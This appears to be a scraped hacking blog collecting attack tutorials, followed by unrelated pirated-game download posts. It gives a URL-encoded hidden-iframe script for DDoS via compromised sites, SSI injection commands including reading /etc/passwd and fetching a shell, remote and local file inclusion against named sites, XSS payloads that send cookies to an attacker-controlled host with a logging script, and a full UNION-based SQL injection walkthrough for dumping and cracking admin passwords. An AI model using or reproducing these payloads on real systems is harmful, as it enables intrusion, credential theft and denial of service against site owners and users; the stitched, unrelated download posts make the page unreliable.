What I mean ?
I mean that some hackers when they get into a server they do not deface the website but they use it for DDOS attacks.

Here are some srcripts that I have made or found.

Some hackers just post this script in the webpage.

<IFRAME SRC="www.victim.com" WIDTH=0 HEIGHT=0
frameborder=0></IFRAME>

This srcipt is so simple that a normal html programmer will see it and probably delete it.

So they put the following in the site which is far more less attractive.

<script language="javascript">
for(i=1; i<=10; i++)
        document.write( unescape(
'%3C%49%46%52%41%4D%45%20%53%52%43%3D%22%68%74%74%70%
3A%2F%2F%77%77%77%2E%73%33%63%75%72%65%2E%67%72%22%20
%57%49%44%54%48%3D%30%20%48%45%49%47%48%54%3D%30%20%66%72%61%6D%
65%62%6F%72%64%65%72%3D%30%3E%3C%2F%49%46%52%41%4D%45%3E%0A%
0A%09%09%09')) ;

</script>


The i<=10 just create 10 iframes for better DDOS attack.
The '%3C%49%46%52%41%4D%45%20%53%52%43%3D%22%68%74%74%70%
3A%2F%2F%77%77%77%2E%73%33%63%75%72%65%2E%67%72%22%20
%57%49%44%54%48%3D%30%20%48%45%49%47%48%54%3D%30%20%66%72%61%6D%
65%62%6F%72%64%65%72%3D%30%3E%3C%2F%49%46%52%41%4D%45%3E%0A%
0A%09%09%09')) ; is escaped characters in order to camouflage the code ;P

In the end they plant at the HEADER of the site the following command:

<meta http-equiv="refresh" content="10">

With this way , the webpage makes the browser  refreshes every 10 seconds.

Thanks for reading ! ;)
Tell me your opinion by making a comment AND do not forget to JOIN my blog!

What is It?

A Server Side Include Attack is an Extremely Useful attack for executing commands on the server. You need basic knowledge of Bash or Batch to know what commands could help compromise the server to do this.

What Sites are Vulnerable?

For a site to be vulnerable to SSI Injection, Apache needs Server Side Includes aloud in the config file or the file extention must end in ‘.shtml’ ‘.shtm’ or ‘.stm’ both Apache, lighthttpd and IIS support SSI.

Testing for SSI Injection

To audit a site to check if it is vulnerable to SSI Injection you search all the directories for ‘.shtml’ ‘.shtm’ or ‘.stm’ extentions, if you find any then its probably enabled, if you dont find any it still may be enabled. It effects pages with unsanitized requests, (eg no filters, filtering < !–#exec …–>) To test you enter the following command into the request

< !–#exec cmd=”ls” –>

If you get a filesystem output appear then it is vulnerable, if the server is Windows replace the ‘ls’ for ‘dir’

You test for SSI the same way as XSS, you can post the command into

- Textboxes/search boxes

- Headers

- Cookies

- Address Bar

Useful Commands

Show Files Linux

< !–#exec cmd=”ls” –>

Show Files Windows

< !–#exec cmd=”dir” –>

Read /etc/passwd

<!–#include virtual=”/etc/passwd” –>

What User Is the webserver running on

< !–#exec cmd=”whoami” –>

Download a shell to the server to get full control

< !–#exec cmd=”wget “shell.php”" –>

Dorks

Simillar to SQLi dorks, they get a list of sites that may or may not be vulnerable to SSI Injection

inurl:index.shtml

inurl:index.shtm

inurl:index.stm

There's many others but you can just use your imagination.

Hope you liked this tutorial.

Ok so remote file inclusion is including a file from your site on another site/server

normally people will include a c99 shell and there is 1 HERE

so then all you have to do is find a site

so lets say we have a site

http://www.example.com/index.php?page=blog.php

ok so to find if it's vulnerable goto index.php and view the source

newbies "right click-->view page source"

if the inclusion code is something like :

Code:

<?php

  $page = $_GET['page'];

  include($page);

?>

then it's possible to include our file on there site

finding vuln sites is easier than ever now that google code search is out

http://www.google.com/codesearch

so lets say the http://www.example.com/index.php has that code in it

now we try this

http://www.example.com/index.php?page=http:/...om/c99.txt

you see this will show your c99 shell on there site

so when it had the include function for blog.php it was including that page in that site.

a common flaw seeming that people use it so much bcoz of it's simplicity

now this should work

but if it shows shell in it's origional text form

then

but dont try a .php shell on there

coz you see

if you upload the shell to your account on lets say spam.com

and save it as .php

whn you include the shell it will show the shell on your site

so you will just be defacing your t35 account from a different site

so it has to be in .txt form

if it shows the shell i reccomend uploading a shell from the included shell

bcoz it makes it much easier to manage

also you can go back to the shell if they fix the bugs

Happy Hacking

Hello, this is a simple tutorial on how to do Local File Inclusion (LFI).

First of all, an example of a vulnerable PHP code is this:

Code:

$page = $_GET[page];

include($page);

?>

Now, here's a google dork:

Code:

inurl:redirect.php?page=

Search that in google, and you should come up with a link like this:

Code:

http://www.x17agency.com/redirect.php?page=_CLI/contact.php

To test if it's vulnerable, please put this code in:

Code:

http://www.x17agency.com/redirect.php?page=../../../../../etc/passwd

After you have put that code in, which is "../../../../../etc/passwd", you should come up with something like this:

## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # This file will not be consulted for authentication unless the BSD local node # is enabled via /Applications/Utilities/Directory Utility.app # # See the DirectoryService(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _pcastagent:*:55:55:Podcast Producer Agent:/var/pcast/agent:/usr/bin/false _pcastserver:*:56:56:Podcast Producer Server:/var/pcast/server:/usr/bin/false _serialnumberd:*:58:58:Serial Number Daemon:/var/empty:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _xgridcontroller:*:85:85:Xgrid Controller:/var/xgrid/controller:/usr/bin/false _xgridagent:*:86:86:Xgrid Agent:/var/xgrid/agent:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/empty:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

A non-shadowed file would look like this:

Code:

username:passwd:UID:GID:full_name:directory:shell

All you have to do is decode the password.

Here are some "interesting" places you might want to visit:

Code:

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

If you have any problems just write a comment !

XSS or Cross Site Srcipting

XSS is simply : Executing abritrary JavaScript code on the page.

In this tutorial I will show you how to hack a website using XSS.The ones I used for demonstration I did not hurt, and I take no responsibility if you do use them.

Parts Of The Tutorial:

1)Vulnerability Test

2)Defacing

3)Stealing Login Information

Vulnerability Test:

It's pretty simple to find a XSS vulnerability.

Steps:

1)Find a textbox in the site or something where you can submit text.

2)Type in the following:

Code:

<script>alert("XSS");</script>

3)If it is vulnerable it should look like this:

(image from google)

Defacing:

There are some ways to deface a site when you find a XSS vulnerability.

Makes A Picture Pop-Up:

Code:

"><script>location="www.[censored].com/YOURDEFACEPIC";</script>

Replace The Content Of The Page By An Image:

Code:

<img src="yourevilpic.com">

Redirect To A Webpage:

Code:

<meta http-equiv="refresh" content="0;url=http://www.youhacx0rpic.com/Haxored.html" />

Stealing Login Information:

The first way to do it is to put the following code on the textbox.If there is an Username field and a Password field just put it on both.

Code:

<script>alert(document.cookie);</script>

It should look like this if it is vulnerable and there is any login information:

Then just get an cookie editor for Firefox or use Opera browser(which has an cookie editing function)

Cookie Stealing:

In this way of cookie stealing, you set files in a server and then you inject XSS into the login(s)/url.

I didint made the code's for this part, thats why I dont explain 2 mutch.

URL/Login:

Code:

<script>alert(www.yoursite.com/cookiestealer.php)</script>

OR

Code:

<script>document.location='www.yoursite.com/cookiestealer.php?cookie='+escape(document.cookie) </script>

OR

Code:

<script>

document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;

</script>

Cookiestealer.php:

Code:

<?

mail("Your-Email@gmail.com","cookie monster",$_REQUEST['cookie']);

?>

<html>

<script>document.location='http://tutorialblog.org/free-vector-downloads-part2/'</script>

</html>

OR

Code:

<?php

$cookie = $_GET['cookie'];

$log = fopen("log.txt", "a");

fwrite($log, $cookie ."\n");

fclose($log);

?>

In the one up you should have the following files on your server:

-cookiestealer.php(The Script)

-log.txt(The File Where The Logs Will Be Stored)

This is for any page that has got a Text Box and a Submit Button and that accepts HTML tags(Like Those Blog Commentary Posters):

Code:

<a href="javascript:void(document.location='http://yoursite.com/cookiestealer.php?cookie='+

document.cookie)">Something</a>

Today, I will show you how SQLi can be easy!

This is only a basic tutorial.

Introduction:

This is very simple, just use these dorks with a SQLi scanner, or Google them check every site by yourself:

http://pastebin.com/vAZqkzMx

Now check each site manually to see if it is vulnerable, just add ' at the end of the url:

For example, we have our target,

Code:

http://www.example.net/news_details.php?id=30

Now, we want to check and see if this is SQLi is vulnerable, so we add ' at the end:

Code:

http://www.example.net/news_details.php?id=30'

If we got an error, that means that the site is vulnerable!

So, now we move on to the next step.

How To Find Columns Count:

After you have your vulnerable site, you need to know its column count, to do this, just add "order by X--" at the end of the URL,

X is a number from 1 to unlimited.

For example, we have our target server and we try to count columns,

we add order by 1-- at the end , then order by 2--, etc. Always increase by a number until you get an error on the website like thise one:

So, in our target server, we have tried this:

Code:

http://www.example.net/news_details.php?id=30 order by 1-- >> no error

http://www.example.net/news_details.php?id=30 order by 2-- >> no error

http://www.example.net/news_details.php?id=30 order by 3-- >> no error

http://www.example.net/news_details.php?id=30 order by 4-- >> no error

http://www.example.net/news_details.php?id=30 order by 5-- >> no error

http://www.example.net/news_details.php?id=30 order by 6-- >> no error

http://www.example.net/news_details.php?id=30 order by 7-- >> no error

http://www.example.net/news_details.php?id=30 order by 8-- >> Unknown column

http://www.example.net/news_details.php?id=30 order by 8-- >> Unknown column

That means that the 8th column does not exist, that means that the column count is 7!

How to Find The Accessible Columns:

Now, we know that the column count is 7, the next step is to check for accessible columns, to do that, we use this query "UNION SELECT number,of,columns--" like this:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,6,7--

You will get something like this:

That means that we can get information from the site from the 6th, the 2nd and the 3rd column!

How To Get MySQL DB Version:

We need to know the MySQL DB Version to know if we can exploit this site or not, cause every site that is using MySQL 4.x.x, is impossible to work with, but every 5.x.x or above is exploitable.

So to know MySQL DB Version, just replace the number of the used column with "@@version"

For example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--

That means that we can continue working on this site.

How To Find Database Name:

Now , we are going to inject the site to find the DB Name,

to do this, replace the used column number with "group_concat(schema_name)", and add "from information_schema.schemata--" after the last column number, for example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--

Now, to use the one the website uses, replace "group_concat(schema_name)" with "concat(database())" for example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--

Congrats, you got the used DB!

How to Get The Table Names:

Now we need to get table names, to do this, replace the used column number with "group_concat(table_name)" and add "from information_schema.tables where table_schema=database()--" at the end of columns number.

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--

How To Get Column Names:

To get column names, we will use this query:

group_concat(column_name)

from information_schema.columns where table_schema=database()--

Example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--

How To Get Information From Columns:

Now, we are in our final step, now we will get the admin info from column, how to do it?

Simple, follow this example:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--

So our exploit will be like this:

Code:

http://www.example.net/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from example_gh.coc_admin--

Now we need to decrypt the password that is encrypted in md5,

go to http://www.md5decrypter.co.uk/ paste your hash, fill in the captcha and click on decrypt, with a little luck, you will get the password like here:

We have succelfully injected a website, and got the admin info! Thank you for reading my tutorial!

I am not responsible for your actions .

STORY TRAILER

Minimum Requirements

• Microsft Windows Vista ® / Windows 7: OS
• CPU: 2.4GHz or Intel ® Core2Duo 2.0GHz AthlonX2
• more than 2GB: Main Memory
• DirectX ® 10/11: graphics board or more ATI Radeon 3870 or AMD ATI card NVIDIA ® GeForce8800GT or NVIDIA ® more than 320MB: graphics memory
• 10GB: HDD capacity disk drive 

Download the game by !PRESSING! the picture below.

!TRAILER!

GAMEPLAY

THE GAME:

 The game is set in a parallel universe in the Devil May Cry series. The story tells of a younger Dante and his journey through the fictitious Limbo City, a city that appears calm at first, but transforms into a twisted parody of itself with demons who frequently attempt to kill Dante. Dante will also be fighting against the city’s ever changing environment as well.

Minimum System Requirements:



OS: Windows Vista/XP, Windows 7, Windows 8
Processor: AMD Athlon™ X2 2.8 Ghz or better,
Intel Core™2 Duo 2.4 Ghz or better
Memory: 2 GB RAM
Hard Disk Space: 8 GB free hard drive space
Video Card: ATI Radeon™ HD 3850 or better,
NVIDIA GeForce® 8800GTS or better
DirectX: 9.0c or greater
Sound: Standard audio device

Download the game by pressing the picture !BELOW!

How to install the game !VIDEO! 

!TRAILER!

GAMEPLAY

Minimum System Requirements

• OS: Windows XP SP3/Vista SP1, Win 7
• CPU: 1.8 GHz Intel Core 2 Duo or equivalent
• RAM: 1GB for XP / 2GB RAM for Vista/Win 7
• Disc Drive: 1x speed
• Hard Drive: 15 GB of free space
• Video: 256 MB* (with Pixel Shader 3.0 support)
• Sound: DirectX 9.0c compatible
• DirectX: DirectX 9.0c 

YOU CAN ALSO SEE IF YOUR PC CAN PLAY THE GAME FROM HERE-->

                      IS YOUR PC READY FOR MASS EFFECT 3?  

Download the game by pressing the picture !BELOW!